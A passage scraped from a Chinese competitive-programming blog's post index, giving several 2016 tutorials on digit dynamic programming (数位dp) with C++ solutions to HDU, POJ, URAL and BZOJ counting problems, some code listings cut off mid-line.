\u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int l,r; 34int k,base; 35int digit[700]; 36int dp[700][700]; 37 38 39int dfs( int pos , int cnt, bool limit) 40{ 41 if (pos==0) return cnt==0; 42 if (cnt\u003c0) return 0; 43 44 if (!limit\u0026\u0026dp[pos][cnt]!=-1) return dp[pos][cnt]; 45 46 int mx = limit?digit[pos]:1; 47 // int mx = 1; 48 int res = 0 ; 49 for ( int i = 0 ; i \u003c= mx ; i ++) 50 { 51 if (i\u003e1) continue; 52 res += dfs(pos-1,i==1?cnt-1:cnt,limit\u0026\u0026i==mx); 53 } 54 return limit?res:dp[pos][cnt] = res; 55} 56int solve(int n ) 57{ 58 ms(digit,0); 59 int len = 0 ; 60 while (n) 61 { 62 digit[++len] = n % base; 63 n/=base; 64 } 65","date":"2016-03-18","externalUrl":null,"permalink":"/2016/03/ural1057/","section":"Posts","summary":"题目链接 题意：设条件A为一个数恰好是k个互不相同的b的整数次幂的和，问某一个区间内满足条件A的数的个数是有多少个。","tags":["dp","数位dp"],"title":"ural 1057. Amount of Degrees (b进制数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接s 题意：将一个10进制数x按照2进制展开后得到的值设为f(x)…现在给出a,b（10^9）问【0，b】中满足f[x]\u003c=f[a]的数的个数。 思路：先算出f[a]…然后我们发现f(x)最大也就10*2^10=10240.。。数组可以存下。。搞之。和上一道题类似。。我们不关心两个f函数的值具体是多少。。。只关心他们的相对大小情况。。所以还是可以合并成一个变量。。。然而我用两个变量为什么错了。。不懂== 错误代码（用两个变量分别记录） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月17日 星期四 21时30分57秒 4File Name :code/hdu/4734.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int a,b; 34int digit[15],digita[15]; 35int fa; 36int dp[10][110000];//dp[i][j]表示长度为i,f[x]为j的方案数... 37int power[20]; 38 39int cal( int n) 40{ 41 ms(digita,0); 42 int len = 0 ; 43 while (n) 44 { 45 digita[++len] = n % 10; 46 n /= 10 ; 47 } 48 int base = 1; 49 int res = 0 ; 50 for ( int i = 1 ; i \u003c= len ; i ++) 51 { 52// cout\u003c\u003c\"digita:\"\u003c\u003cdigita[i]\u003c\u003cendl; 53 res +=digita[i]*base; 54 base*=2; 55 } 56 57 return res; 58} 59 60 61int dfs(int pos,int sum,bool limit) 62{ 63 if (pos==0) return sum\u003c=fa; 64 if (sum\u003efa) return 0; //sum只会越来越大。。所以这里可以减一下。。。 65 // if (sum+(power[pos+1]-1)*9\u003c=fa) return 1; //如果后面的位置取最大仍然满足，可以提前就确定。减！ 66 if (!limit\u0026\u0026dp[pos][sum]!=-1) return dp[pos][sum]; 67 68 int mx = limit?digit[pos]:9; 69 70 int res = 0 ; 71 for ( int i = 0 ; i \u003c= mx ; i++) 72 { 73 res+=dfs(po","date":"2016-03-18","externalUrl":null,"permalink":"/2016/03/hdu4734/","section":"Posts","summary":"题目链接s 题意：将一个10进制数x按照2进制展开后得到的值设为f(x)…现在给出a,b（10^9）问【0，b】中满足f[x]\u003c=f[a]的数的个数。 思路：先算出f[a]…然后我们发现f(x)最大也就10*2^10=10240.。。数组可以存下。。搞之。和上一道题类似。。我们不关心两个f函数的值具体是多少。。。只关心他们的相对大小情况。。所以还是可以合并成一个变量。。。然而我用两个变量为什么错了。。不懂==","tags":["dp","数位dp"],"title":"hdu 4734  F(x) (数位dp)","type":"post"},{"categories":["ACM"],"content":"hdu5642题目链接 题意：问长度为n的仅由26个小写字母组成的合法字符串有多少个。如果某个字符连续出现四次或以上，则这个字符串为非法。否则为合法。 思路：当时以为是组合数学的题。。。推了半天公式还是还是gg… 现在学了数位dp..果然是数位dp里很简单的一种。。。 dp[i][j][k]表示长度为i,最后一个字符对应的数字为j,最后一个字符出现了k次的方案数。 需要注意的是，这种连续几个位置相等或者不相等什么的。。。没有必要维护具体那些位置上的字符是什么。。。所以这种只统计最后一个字符，以及最后一个字符出现的次数的方法具有普遍意义。。注意理解。。。","date":"2016-03-17","externalUrl":null,"permalink":"/2016/03/hdu5642/","section":"Posts","summary":"hdu5642题目链接 题意：问长度为n的仅由26个小写字母组成的合法字符串有多少个。如果某个字符连续出现四次或以上，则这个字符串为非法。否则为合法。","tags":["dp","数位dp"],"title":"bc #75 C || hdu 5642 King's Order （数位dp）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：找到某区间中平衡数的个数。所谓平衡数是指，存在某个位置，值得两边的力矩相等。举个例子。。比如14326，如果把4作为中间。。那么左边=11=1 右边=31+22+62=19。。。 思路：枚举中间的pivot。。。注意如果是个位数也是平衡数（就是认为两边的力矩都是0了。。。），所以每一个位置都可能是平衡位置。。枚举的时候从1到len… 一开始我是分别记录两边的值。。非常浪费空间。。。然而发现其实没必要。。我们只关心左边是否相等。。而不关心左右的值到底是多少。。所以可以把两边的值带符号合并成一个值（pivot左边为+，pivot右边为负）。。。如果最后为0。。说明左右相等。。。 以及。。这个值(设为sum)是递减的。。。所以任何时刻如果sum\u003c0。。那么狗带。。算一个剪枝。。而且避免了下标为负。。。 以及，关于前导0的问题。。。有些题目不允许前导0.。。。但是并不是所有不允许前导0的都需要特别处理。。。像这道。。前导0不会导致更新答案。。。所以不用管。。。 但是要注意。。。由于0，00,000,0000都是合法的balanced数。。。然而其实他们是一个数。。多加了len-1次。。记得减去。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月17日 星期四 17时08分59秒 4File Name :code/hdu/3709.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL l,r; 34int T; 35int digit[30]; 36LL dp[20][2000][20]; //窝要判断左边和右边是否相等，并不需要分别统计两边，只要把数值带上符号，统计左右两边的和即可。 37 //如果相等，那么和为0.这样能节省很多空间。 38LL dfs( int pos,int sum ,int pivot,bool limit) 39{ //不用考虑前导0，因为前导0的存在并不会对答案有任何贡献. 40 if (pos==0) return sum==0; 41 if (sum\u003c0) return 0; //由于sum是递减的。。所以sum一旦小于0绝对药丸。。。肯定对答案没贡献。 42 //也算作一个剪枝.. 43 if (!limit\u0026\u0026dp[pos][sum][pivot]!=-1) return dp[pos][sum][pivot]; 44 45 int mx = limit?digit[pos]:9; 46 LL res = 0LL ; 47 for ( int i = 0 ; i \u003c= mx ; i++) 48 { 49 res+=dfs(p","date":"2016-03-17","externalUrl":null,"permalink":"/2016/03/hdu-3709-balanced-number-dp/","section":"Posts","summary":"题目链接 题意：找到某区间中平衡数的个数。所谓平衡数是指，存在某个位置，值得两边的力矩相等。举个例子。。比如14326，如果把4作为中间。。那么左边=11=1 右边=31+22+62=19。。。 思路：枚举中间的pivot。。。注意如果是个位数也是平衡数（就是认为两边的力矩都是0了。。。），所以每一个位置都可能是平衡位置。。枚举的时候从1到len… 一开始我是分别记录两边的值。。非常浪费空间。。。然而发现其实没必要。。我们只关心左边是否相等。。而不关心左右的值到底是多少。。所以可以把两边的值带符号合并成一个值（pivot左边为+，pivot右边为负）。。。如果最后为0。。说明左右相等。。。","tags":["dp","数位dp"],"title":"hdu 3709 Balanced Number (数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：问某区间中，round number 的个数是多少。所谓round number,当且仅当一个数的二进制表示中，‘0’的个数大于等于‘1’的个数。 思路：简单数位dp..和windy数那道题类似，都是不允许前导0.。。所以在dfs中要加一维判断前面是否有非0的数。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月17日 星期四 16时17分07秒 4File Name :code/poj/3252.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int l,r; 34int digit[35]; 35int dp[35][35][35]; //dp[i][j][k]表示长度为i，有j个0，k个1的方案数。 36 37int dfs( int pos,int cnt0,int cnt1,bool limit,bool prehasnonzero) //不允许前导0，所以要加prehasnonzero这个参数 38 //来确定是否位数减少了.... 39{ 40 if (pos==0) return cnt0\u003e=cnt1; 41 if (!limit\u0026\u0026dp[pos][cnt0][cnt1]!=-1) return dp[pos][cnt0][cnt1]; 42 int mx = limit?digit[pos]:1; //2进制。。最大是1. 43 int res = 0; 44 if (prehasnonzero) 45 { 46 for ( int i = 0 ; i \u003c= mx; i++) 47 { 48 res+=dfs(pos-1,i==0?cnt0+1:cnt0,i==1?cnt1+1:cnt1,limit\u0026\u0026i==mx,true); 49 } 50 } 51 else 52 { 53 for ( int i = 0 ; i \u003c= mx ; i++) 54 { 55 if (i==0) 56 { 57 res+=dfs(pos-1,0,0,limit\u0026\u0026i==mx,false); 58 } 59 else 60 { 61 res+=dfs(pos-1,0,1,limit\u0026\u0026i==mx,true); 62 } 63 } 64 } 65 if (!limit) dp[pos][cnt0][cnt1] = res; 66 return res; 67 } 68int solve ( int n) 69{ 70 ms(digit,0); 71 int len = 0 ; 72 73 while (n) 74 { 75 digit[++len] =","date":"2016-03-17","externalUrl":null,"permalink":"/2016/03/poj3252/","section":"Posts","summary":"题目链接 题意：问某区间中，round number 的个数是多少。所谓round number,当且仅当一个数的二进制表示中，‘0’的个数大于等于‘1’的个数。 思路：简单数位dp..和windy数那道题类似，都是不允许前导0.。。所以在dfs中要加一维判断前面是否有非0的数。。。","tags":["dp","数位dp"],"title":"poj3252 Round Numbers (不允许前导0的二进制数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：如果一个整数符合下面3个条件之一，那么我们就说这个整数和7有关—— 1、整数中某一位是7； 2、整数的每一位加起来的和是7的整数倍； 3、这个整数是7的整数倍； 现在问题来了：吉哥想知道在一定区间内和7无关的数字的平方和。 思路;如果是求count的话毫无难度。。。和之前的题目没什么区别。。不多说了。 但是是求平方数。。。一开始我的做法是在dfs中加一个LL 的参数表示当前的和，然后每次到dfs的出口，之前统计count的时候返回的是1，表示找到了满足条件的一个数，那这回就返回平方和。。但是这样做是错的。。。具体为什么错没有想得很明白。。。大概会少算？ 然后参考了如下博客： hdu4507解题报告1 hdu4507解题报告2 适牛的博客之数位dp 正解是，之前的dp只统计了一个cnt,这回要同时统计cnt,sum,sqsum(平方和).. 我们先讨论如何求得满足条件的数的和。 我们设某次进入dfs的数是x,当前长度为pos（长度是越来越短的，因为是从高位到低位，对于没有处理到的低位，是按0算的，比如一个五位数xxxxx，第一次dfs以后也许得到4xxxx,x表示没有填的数的位置，实际上这个数就是40000），当前位置要防止的数字是i,考虑其位置，i对这个数的大小（不是和，就是最后要得到的一个数）的贡献是i*10^(pos-1),设为f. 那么当前的数就是f+x. 我们要求的就是所有f+x的和。现在我们考虑当新添加pos位的数字i对于和的贡献。 当新添加i时，相当与把之前的数整体左移了一位，相当于×10（因为之前[1,x]中的每个满足条件的数都乘了10，所以和也乘了10），然后对于新添加的i，它的贡献是i*cnt[x]，含义是对于之前[1,x]所有满足条件的每个数，都进行了pos位置填i的操作，所有对于所有满足条件的和一共添加了cnt[x]个i. **如果写成用递推的式子就是 ** *sum[10*x+i] = 10 * sum[x] + cnt[x]i;//感谢@clq学长 如果用dfs的话式子就是 sum[new_state] = Σ{ sum[old_state] + (number to add at the postion) * (its base) * count[old_state] }。 接下来我们考虑维护平方和，方法类似。 (f**+x)^2=ff+xx+2fx.** ff直接可以算，xx..其实就是上一层dfs得到的(f’+x’)^2嘛…也就是sum2[x] (sum2表示平方和) 2fx也可以算,x就是上一个状态的和。 同样，我们考虑现在已经有了x,处理到pos位置，填到该位置的数字是i的时候对平方和的影响。 xx部分在上一个状态处理过了，即为sum2[x], 2f*x 也可以通过sum[x]得到… **注意ff,同样，对于之前的[1,x]中每个满足的数，都相当于第pos位添加了i,每个数对平方和的贡献都是ii,所以要*cnt[x]… ** 以及要不断取模，为了方便写了两个函数来搞，代码看起来清楚一些。。。 哦，还有一个小坑。。取模相减以后可能为负数。。。。记得加MOD… ** ** 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月16日 星期三 10时44分58秒 4File Name :code/hdu/4507.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec se","date":"2016-03-17","externalUrl":null,"permalink":"/2016/03/hdu4507/","section":"Posts","summary":"题目链接 题意：如果一个整数符合下面3个条件之一，那么我们就说这个整数和7有关—— 1、整数中某一位是7； 2、整数的每一位加起来的和是7的整数倍； 3、这个整数是7的整数倍；","tags":["dp","数位dp"],"title":"hdu 4507  吉哥系列故事——恨7不成妻 (返回平方和的数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n,问[1,n]中，满足包含“13”且这个数（不是各位的和）能被13整除的数的个数。 思路：依然是数位dp..不过有一个小tip。。 由于包含13的情况非常难考虑（包含一个“13”，两个“13”…..) 所以要从反面考虑，即不包含13的情况。 但是由于还有另一个条件。 做法是把能被13整除的数考虑成全集U,然后在U中做分划，一部分是含13的，另一部分是不含13的。 这样我们要求两个答案，一个是能被13整除的，另一个是能被13整除并且不含13的，相减即为题目所求。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月16日 星期三 09时27分49秒 4File Name :code/hdu/3652.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL n; 34LL dp[20][15]; 35LL dp2[20][2][15]; 36int digit[20]; 37 38 39LL dfs (int pos,int sum,bool limit) 40{ 41 if (pos==0) return sum==0; 42 43 if (!limit\u0026\u0026dp[pos][sum]!=-1) return dp[pos][sum]; 44 45 int mx = limit ? digit[pos]:9; 46 47 LL res = 0LL ; 48 for ( int i = 0 ; i \u003c= mx ; i++) 49 { 50 res+=dfs(pos-1,(sum*10+i),limit\u0026\u0026i==mx); 51 } 52 53 if(!limit) dp[pos][sum] = res; 54 return res; 55} 56LL dfs2(int pos,bool preis1,int sum,bool limit) 57{ 58 if (pos==0) return sum==0; 59 60 if (!limit\u0026\u0026dp2[pos][preis1][sum]!=-1) return dp2[pos][preis1][sum]; 61 62 int mx = limit? digit[pos]:9; 63 LL res = 0 ; 64 for ( int i = 0 ; i \u003c= mx ; i++) 65 { 66 if (preis1\u0026\u0026i==3) continue; 67 res+=dfs2(pos-1,i==1,(sum*10+i),limit\u0026\u0026i==mx); 68 } 69 70 if (!limit) dp2[pos][pr","date":"2016-03-16","externalUrl":null,"permalink":"/2016/03/hdu3652/","section":"Posts","summary":"题目链接 题意：给出n,问[1,n]中，满足包含“13”且这个数（不是各位的和）能被13整除的数的个数。 思路：依然是数位dp..不过有一个小tip。。","tags":["dp","数位dp"],"title":"hdu  3652 B-number (带整除的数位dp )","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：求一个区间内所有位数字之和能被10整除的数的个数。 思路：数位dp，dfs要一个参数记录从最高位到现在的pos位置的数字之和的结果。 1 dp[i][j] 表示长度为i，和为j的方案数。 2 记得开long long ，然而我开了那么多long long 忘了dp 的long long 结果wa到死。。果然大早上不清醒吗== 3 4 5 6/* *********************************************** 7Author :111qqz 8Created Time :2016年03月16日 星期三 08时10分19秒 9File Name :code/hdu/4722.cpp 10************************************************ */ 11 12#include \u003ccstdio\u003e 13#include \u003ccstring\u003e 14#include \u003ciostream\u003e 15#include \u003calgorithm\u003e 16#include \u003cvector\u003e 17#include \u003cqueue\u003e 18#include \u003cset\u003e 19#include \u003cmap\u003e 20#include \u003cstring\u003e 21#include \u003ccmath\u003e 22#include \u003ccstdlib\u003e 23#include \u003cctime\u003e 24#define fst first 25#define sec second 26#define lson l,m,rt\u003c\u003c1 27#define rson m+1,r,rt\u003c\u003c1|1 28#define ms(a,x) memset(a,x,sizeof(a)) 29typedef long long LL; 30#define pi pair \u003c int ,int \u003e 31#define MP make_pair 32 33using namespace std; 34const double eps = 1E-8; 35const int dx4[4]={1,0,0,-1}; 36const int dy4[4]={0,-1,1,0}; 37const int inf = 0x3f3f3f3f; 38LL l,r; 39int digit[30]; 40LL dp[30][15]; //dp 数组忘记开long long ,wa到死。。。。。。。。。日了哈士奇。 41LL dfs ( int pos,int sum,bool limit) 42{ 43 if (pos==0) 44 { 45 if (sum==0) return 1; 46 else return 0; 47 } 48 if (!limit\u0026\u0026dp[pos][sum]!=-1) return dp[pos][sum]; 49 50 int mx = limit?digit[pos]:9; 51 52 LL res = 0 ; 53 for ( int i = 0 ; i \u003c= mx; i ++) 54 { 55 res+=dfs(pos-1,(sum+i),limit\u0026\u0026i==mx); 56 } 57 58 if (!limit) dp[pos][sum] = res; 59 60 return res; 61 62} 63LL solve ( LL n) 64{ 65// if (n==0) return 1; 66 // if (n\u003c=9) return 0; 67 if (n\u003c0) return 0; 68 ms(digit,0); 69 int len = 0 ; 70 while (n) 71 { 72 digit[++len] = n % 10; 73 n /= 10; 74 } 75 76 return dfs(len,0,true); 77} 78int main() 79{ 80 #ifndef ONLINE_JUDGE 81 freopen(\"code/in.txt\",\"r\",stdin); 82 #endif 83// ios::sync_with_stdio(false); 84 int T; 85 cin\u003e\u003eT; 86 ms(dp,","date":"2016-03-16","externalUrl":null,"permalink":"/2016/03/hdu4722/","section":"Posts","summary":"题目链接 题意：求一个区间内所有位数字之和能被10整除的数的个数。 思路：数位dp，dfs要一个参数记录从最高位到现在的pos位置的数字之和的结果。","tags":["dp","数位dp"],"title":"hdu 4722 good numbers (带整除的数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：不含前导零且相邻两个数字之差至少为2的正整数被称为windy数。 windy想知道，在A和B之间，包括A和B，总共有多少个windy数？ 思路：数位dp 这道题的特点是前面不允许前导0，也就是说，如果第i位前面全是0的话，这个数就变成了i位数，i就变成了最高位，而最高位没有前面的数（**如果这里不考虑不允许前导0这个因素而把前面的一个数认为成是0就错了） **最高位的数可以直接取。 还有记忆化调用以及存储的时候也要注意…只有当位数相同的时候转移才有意义。 具体的方法是dfs中多了一个prehasnonzero的bool变量，就是字面意思，判断当前位置前面的位置是够存在一个非0的值。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月15日 星期二 19时49分57秒 4File Name :code/bzoj/1026.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int l,r; 34int dp[30][10]; 35int digit[30]; 36 37 38int dfs ( int pos,int pre,bool limit,bool prehasnonzero) // prehasnonzero表示当前位前面的位是否有非0的位。 39{zhi 40 if (pos==0) return 1; 41 if (prehasnonzero\u0026\u0026!limit\u0026\u0026dp[pos][pre]!=-1) return dp[pos][pre]; //位数相同才通用，所以prehasnonzero为true才调用 42 43 int mx = limit?digit[pos]:9; 44 45 int res = 0 ; 46 47 if (!prehasnonzero) 48 { 49 for ( int i = 0 ; i \u003c= mx ; i++ ) 50 { 51 res+=dfs (pos-1,i,limit\u0026\u0026i==mx,i==0?false:true); 52 } 53 } 54 else 55 { 56 for ( int i = 0 ; i \u003c= mx ; i++) 57 { 58 if (abs(i-pre)\u003e=2) 59 { 60 res+=dfs(pos-1,i,limit\u0026\u0026i==mx,true); 61 } 62 } 63 } 64 65 66 if (prehasnonzero\u0026\u0026!limit) dp[pos][pre] = res; //位数相同才通用，所以prehasnonzero为true时才记录。 67 return r","date":"2016-03-15","externalUrl":null,"permalink":"/2016/03/bzoj1026/","section":"Posts","summary":"题目链接 题意：不含前导零且相邻两个数字之差至少为2的正整数被称为windy数。 windy想知道，在A和B之间，包括A和B，总共有多少个windy数？ 思路：数位dp 这道题的特点是前面不允许前导0，也就是说，如果第i位前面全是0的话，这个数就变成了i位数，i就变成了最高位，而最高位没有前面的数（**如果这里不考虑不允许前导0这个因素而把前面的一个数认为成是0就错了） **最高位的数可以直接取。 还有记忆化调用以及存储的时候也要注意…只有当位数相同的时候转移才有意义。 具体的方法是dfs中多了一个prehasnonzero的bool变量，就是字面意思，判断当前位置前面的位置是够存在一个非0的值。","tags":["dp","数位dp"],"title":"bzoj 1026 windy数(数位dp入门题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意:问从1到n的所有数中，有多少个数含有数字串“49” 思路：和上一道不要62很像，但是由于是要统计有49的，但是有49的情况实在太多了，正难则反，用减法定理反过来考虑，先统计出不含49的数的个数，这样就和不要62一样了，然后再用总数减。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月15日 星期二 19时32分24秒 4File Name :code/hdu/3555.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL n; 34LL digit[30]; 35LL dp[30][2]; 36LL dfs ( int pos,bool preis4,bool limit) 37{ 38 if (pos==0) return 1; 39 if (!limit\u0026\u0026dp[pos][preis4]!=-1) return dp[pos][preis4]; 40 41 LL mx = limit?digit[pos]:9; 42 LL res = 0LL ; 43 for ( LL i = 0 ; i \u003c= mx ; i++) 44 { 45 if (preis4\u0026\u0026i==9) continue; 46 res += dfs(pos-1,i==4,limit\u0026\u0026i==mx); 47 } 48 49 if (!limit) dp[pos][preis4] = res; 50 return res; 51 52} 53LL solve ( LL n) 54{ 55 int len = 0 ; 56 ms(digit,0); 57 while (n) 58 { 59 digit[++len] = n ; 60 n /= 10; 61 } 62 63 return dfs(len,false,true); 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71 ios::sync_with_stdio(false); 72 int T; 73 cin\u003e\u003eT; 74 while (T--) 75 { 76 cin\u003e\u003en; 77 ms(dp,-1); 78 LL ans = solve (n); 79 ans = n - ans + 1; 80 cout\u003c\u003cans\u003c\u003cendl; 81 } 82 83 #ifndef ONLINE_JUDGE 84 fclose(stdin); 85 #endif 86 return 0; 87}","date":"2016-03-15","externalUrl":null,"permalink":"/2016/03/hdu3555/","section":"Posts","summary":"题目链接 题意:问从1到n的所有数中，有多少个数含有数字串“49” 思路：和上一道不要62很像，但是由于是要统计有49的，但是有49的情况实在太多了，正难则反，用减法定理反过来考虑，先统计出不含49的数的个数，这样就和不要62一样了，然后再用总数减。","tags":["dp","数位dp"],"title":"hdu 3555 Bomb （数位dp入门题）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：问区间[n,m]中，不含数字4，也不含数字串“62”的所有数的个数。 思路：可以转化成求区间[0,x] 第一次接触数位dp,参考了这几篇博客。 不要62（数位dp）解题报告 解题报告2 解题报告3 比较重要的前提： ¨对于一个小于n的数，肯定是从高位到低位出现某一位\u003cn的那一位。 ¨如 n = 58 n为十进制数。 ¨ x = 49 此时x的十位\u003cn ¨ x = 51 此时x的个位\u003cn ¨有了上述性质，我们就可以从高到低枚举第一次\u003cn对应位是哪一位。 这样之前的位确定了，之后的位就不受n的限制即从00…0~99…9，可以先预处理 以及写成递归形式代码会简洁很多，所以就写了递归形式。 更详细的解释参加代码注释。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月15日 星期二 18时04分46秒 4File Name :code/hdu/2089.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int dp[30][2]; 35int digit[30]; 36 37int dfs (int pos,bool preis6,bool limit) //pos表示从低到高的第几位，是从高位往低位递归的（也就是从左到又） 38 // preis6 表示上一个数字是否为6， 39 // limit表示该位置是否有限制。 40{ 41// cout\u003c\u003cpos\u003c\u003c\" \"\u003c\u003cpreis6\u003c\u003c\" \"\u003c\u003climit\u003c\u003c\" \"\u003c\u003cendl; 42 if (pos==0) return 1; //到该位置表明找到了一个解. 43 44 int res = 0 ; 45 if (!limit\u0026\u0026dp[pos][preis6]!=-1) return dp[pos][preis6]; //如果不是limit位置，表示结果是通用的，而之前又算过的话，就可以直接调用这个结果。 46 int mx = limit?digit[pos]:9; //mx第pos位置能取到的最大的数字..如果不是limit,则可以0..9任意取。 47// cout\u003c\u003c\"mx:\"\u003c\u003cmx\u003c\u003cendl; 48 49 for ( int i = 0 ; i \u003c= mx; i++) 50 { 51 if (i==4||(i==2\u0026\u0026preis6)) continue; 52 res += dfs(pos-1,i==6,limit\u0026\u0026i==mx); 53 